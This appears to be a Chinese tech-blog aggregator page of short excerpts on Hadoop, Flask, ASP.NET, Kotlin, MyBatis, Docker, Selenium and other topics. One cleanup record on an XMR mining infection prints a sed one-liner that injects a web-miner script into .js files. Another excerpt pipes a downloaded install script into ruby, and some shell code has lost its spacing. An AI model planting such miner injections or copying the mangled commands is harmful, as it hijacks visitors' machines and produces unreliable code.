大师网-带你快速走向大师之路 解决你在学习过程中的疑惑,带你快速进入大师之门。节省时间,提升效率

hadoop集群时间同步

hadoop集群时间同步 同步方式 选择一个机器,作为时间服务器(这里选择hadoop01),所有的机器与这台集群时间进行定时的同步,比如,每隔十分钟,同步一次时间。 所需工具 时间同步服务器有两个:ntpd和ntpdatp,虽然使用二者都能达到时间同步的目的,但是使用之前得弄清楚一个问题,ntpd与ntpdate在更新时间时有什么区别。ntpd不仅仅是时间同步服务器,他还可以做客户端与

flask_sqlalchemy 中的 paginate 实现分页

flask_sqlalchemy 中的 paginate 实现分页 在使用flask进行开发的过程是不免要涉及到分页功能的开发,我使用的是flask_sqlalchemy,对于继承自flask_sqlalchemy.Model的类,都有一个paginate(page=None, per_page=None, error_out=True, max_per_page=None)方法来获得一个flask_sqlalchemy.Pagination对象。 下面我们来简单说明一下paginate和Pagination的使用。 paginate paginate(page=None, per_page=None, error_out=True

多域名 ssh git 配置

ssh/config Host 域名 User 用户名 IdentityFile ssh key的路径 IdentitiesOnly 只使用这里设置的key, 防止使用默认的 ServerAliveInterval 连接保持 ControlMaster auto 不用重新登录 ControlPath ~/.alibaba-inc.com User git IdentityFile ~/.ssh/id_gmail 连接测试 ssh -T git@github.com git 名称设置 git config --global user.name "User name" git config --global user.email user@example.com 如果不设置全局的, 在项目目录下执行, 去掉--global即可

基于Asp.Net Core打造轻量级内部服务治理RPC(二 远程服务设计)

基于Asp.Net Core打造轻量级内部服务治理RPC(二 远程服务设计) 紧接上一篇《基于Asp.Net Core打造轻量级内部服务治理RPC(一)》文章。本文主要讲解基于Asp.Net Core的远程服务设计和实现。 在上一篇中讲过,服务提供者提供的服务实际上就是一个Controller,那么是否在该程序中,服务都按照Asp.Net Core 中的Web Api的方式建立好Controller,再实现每个服务接口(调用方只需要引用对应的接口定

ASP.NET Core 入门教程 7、ASP.NET Core MVC 分部视图入门

@ViewBag.Title PartialView With Params Demo by ken.io @await Html.PartialAsync("_NoteInfo", new NoteViewModel() { Title = "这是一个分部视图测试笔记", PublishTime = DateTime.Now, Body = "这是笔记的内容" }) 4、在控制器中编写对应Action 在控制器 PartialController.cs 中增加以下 Action: public IActionResult DemoWithParams() { return View();view=aspnetcore-2.1 本文首发于我的独立博客:https://ken.io/note/asp.net-core-tutorial-mvc-view-partial

Kotlin的枚举

fun sayHello() { println(hello) } //3、compaion(伴生对象) 静态方法,一个类对应一个半生对象,一个半生对象也只对应一个类; companion object { fun parse(name:String):Lang { return valueOf(name.toUpperCase()) } } } //4、枚举的扩展方法 fun Lang.sayBye(){ var bye = when(this){ Lang.ENGLISH - "bye" Lang.CHINESE - "再见" } println(bye) } fun main(args:Array ) { if (args.isEmpty()) return val lang = Lang.parse(args[0]) lang.sayHello() lang.sayBye() }

枚举和"when"

匹配成功只会执行对应的分支逻辑.也可以将多个值合并到同一个分支.需要用逗号隔开. fun getChineseName(car: Car) = when (car) { Car.JEEP, Car.VOLVO, Car.BENX - "外国汽车" Car.BMW - "宝马" } fun main(args: Array ) { println(getChineseName(Car.BENX)) } 打印结果: 外国汽车 在when中使用"任意"对象 在java的switch中,判断的条件值只可以使用枚举常量、字符串、数字字面值,而在kotlin中,when允许使用任何对象.

MyBatis 中 ResultType 和 ResultMap 的区别 & mybatis

MyBatis 中 ResultType 和 ResultMap 的区别 mybatis 使用resultType进行输出映射,只有查询出来的列名和pojo中的属性名一致,该列才可以映射成功。 如果查询出来的列名和pojo的属性名不一致,通过定义一个resultMap对列名和pojo属性名之间作一个映射关系。 resultMap:适合使用返回值是自定义实体类的情况 resultType:适合使用返回值得数据类型是非自定义的,即jdk的提供的类型 关联查询(

在maven基础下配置Mybatis

3.创建相关文件 创建1个bean类,2个xml文件,注意:src/mybatis-config.xml 项目源设置为src,方便以下不报错 Category.java代码如下: package main.com.test.entity; private String name; public class TestMybatis { public static void main(String[] args) throws IOException { String resource = "mybatis-config.xml";build(inputStream); //List cs =session.selectList("listCategory",c); Category c=new Category();

Vue源码学习(一)——追根究底Vue

// 这里传入的name 就是Target function genConfig (name) { const opts = builds[name] // . other config } 从上可以看出,我们需要的是入口文件即entry中对应的web/entry-runtime-with-compiler.js 打开entry-runtime-with-compiler.js, 在文件上方,我们可以看到这个文件中import Vue,我们所需要的是去追根到Vue的起始,所以就找到了上一层runtime/index // 引入了Vue的实例 import Vue from '.

混合APP开发-hybrid 升级流程

appid=$element"` echo$version #生成zip包名 module={element}_version rm-rf$module #将前端资源文件打包 mkdir$module cp-rimage$module mkdir${module}/js mkdir${module}/css mvcss/template.css${module}/css mvjs/template.js${module}/js cp-rimage$module cptemplate.html$module zip-r module.zip {module} #获取zip包的md5值 md5=`md5sum{module}.zip|awk-F'''{print1}'` echo$md5 #上传zip包至nos curl-XPOST-F"zip=@ module.zip""http://hostname/api/v1/upload/webpack/zip?zipId= {module}.

IP地址进制转换及简单介绍

IP地址进制转换及简单介绍 IPv4的转换 ipV4是用点分10进制的。如192.168.1.1。每个数代表8位二进制,共32位(4组8位二进制)。Ipv4地址转换成2进制时,是一个8位数的1或者0的组合,计算时要从右到左用二进制的每个数去乘以2的相应次方。 8位二进制码所对应的数字: 12864 32 168 4 2 1(二进制码共八位,顺序对应) 例子: 二进制码10000000=128 二进制码11000000=192(128+64) 二进制码111000

14-SIM数据交互之-PIN

14-SIM数据交互之-PIN 在《AT命令交互之-PIN码》里面写到用AT命令的方式就行输入修改PIN码,这边将对用过直接的APDU交互方式进行PIN码的操作进行说明。 PIN码操作 COMMAND 值 含义 VERIFY CHV '20' 验证PIN码 CHANGE CHV '24' 修改PIN码 DISABLE CHV '26' 关闭PIN码验证 ENABLE CHV '28' 打开PIN码验证 1、VERIFY CHV 验证PIN码 命令 CLA INS P1 P2 P3 VERIFY CHV 00 20 00 CHV NO. 08 = 00 20 00 01 08 31 32 33 34 FF FF FF FF //默认PIN码1

6-Openwrt SDK

} 3.Makefile helloworld : helloworld.o $(CC) $(LDFLAGS) helloworld.o -o helloworld helloworld.o : helloworld.c $(CC) $(CFLAGS) -c helloworld.c clean : rm *.

docker源码3-plugin的管理

docker源码3-plugin的管理 谢绝转载 序言 上篇看了plugin的存储和管理,打铁要趁热,那么看一下当docker运行时,执行plugin的相关命令是如何与PluginStore对应起来的. 注意事项: 1.本文共有四篇,每篇都有编号,编号类似1.2.1这种,其中1是文章编号,因为后面的调用关系需要去前面篇幅中找,所以我标注了这个方便寻找.= nil { os.RemoveAll(pdir) } }() if err := os.Rename(rootFSDir, filepath.Join(pdir, rootFSFileName));

查杀 libudev.so 和 XMR 挖矿程序记录

d/ 的 S01* 文件都是指向 /etc/init.d/ 里的启动脚本的软链接,而且是从 rc1.d 一直到 rc5.d 中都有,因为是软链接,也可以不用删除。 $ rm -r /etc/init.d/yjrfdbdkfs $ rm -r /etc/rc1.d/S01yjrfdbdkfs .js'|xargs grep -L f4ce9|xargs sed -i '$a\document.write\('\'\ \ \ OMINEId\(\"e02cf4ce91284dab9bc3fc4cc2a65e28\",\"-1\"\)\ \'\)\;

Linux 程序设计1:深入浅出 Linux 共享内存

int shmctl(int shmid, int cmd, struct shmid_ds *buf); if ((shm_key = ftok("/home/happen", proj_id)) == -1) { exit(1); } 这里可以用过shmflg来设定对应内存空间的读写权限,这里我们取的是0,代表对应的空间有读写权限。SHM_RDONLY可以设置为只读权限。之后我们就可以对对应的内存空间进行操作了: *shm_p = 100; if (shmdt(shm_p) 0) { perror("shmdt()");

mac 搭建python+selenium+chromedriver环境

mac 搭建python+selenium+chromedriver环境 本人创建了一个go语言专题,但要在搜集许多go语言文章,手工操作很重复,所以就考虑到selenium工具的方便性,做一个自动化的,这样就大大提高效率 以下安装中出现的问题,如果自己没有遇到则可以跳过,不同电脑环境会有所不一样 1. 安装brew工具 如果mac电脑已经安装则直接跳过 /usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/instal

[结构赋值-01]数组的结构赋值

[结构赋值-01]数组的结构赋值 解构赋值语法是一个Javascript表达式,这使得可以将值从数组或属性从对象提取到不同的变量中 —— MDN 我们有这样一个数组 arr = [1,2,3,4]; //arr4 == [1, 2, 3, "a", "b", "zz", 1] //如果写成 const arr4 = [arr1, arr2, arr3]; //a=1 //b=null //c=undefined //d='aaa' 交换变量 以往的交换需要第三个变量 let a = 20; const [status, data, msg] = getUserInfo(123);